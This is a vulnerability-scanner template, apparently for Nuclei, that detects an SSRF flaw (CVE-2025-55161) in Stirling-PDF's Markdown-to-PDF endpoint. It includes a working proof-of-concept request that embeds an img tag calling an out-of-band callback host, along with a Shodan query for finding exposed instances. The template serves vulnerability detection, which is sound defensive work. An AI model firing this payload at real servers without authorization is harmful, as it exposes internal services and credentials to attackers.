Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.
PoC
id: CVE-2025-55161
info:
name: Stirling-PDF SSRF via Markdown
author: beginee
severity: high
description: |
Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.
impact: |
Unauthenticated attackers can force the server to make requests to arbitrary URLs through malicious Markdown image tags, potentially exposing internal services and credentials.
remediation: This issue has been patched in version 1.1.0.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-55161
- https://github.com/Stirling-Tools/Stirling-PDF
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
cvss-score: 8.6
cve-id: CVE-2025-55161
cwe-id: CWE-918
epss-score: 0.01999
epss-percentile: 0.79709
metadata:
verified: true
max-request: 1
shodan-query: http.title:"Stirling PDF"
tags: cve,cve2025,ssrf,stirling-pdf,pdf,markdown,oast,oob,vkev,vuln
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /api/v1/convert/markdown/pdf HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvAfAbBmFpYrQfooK
------WebKitFormBoundaryvAfAbBmFpYrQfooK
Content-Disposition: form-data; name="fileInput"; filename="{{filename}}.md"
Content-Type: application/octet-stream
<img src='http://{{interactsh-url}}/' />
------WebKitFormBoundaryvAfAbBmFpYrQfooK--
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, 'dns')
- contains(content_type, "application/pdf")
- status_code == 200
condition: and
# digest: 4a0a00473045022100a65ee74448d4e26448edc1eaa746da4d599d35c40f88289e60121ede6e82404302200698862a310e35cb0d80e09ae22dbb897483ed6a29fefbeed8b242a07973f0f3:922c64590222798bb761d5b6d8e72950
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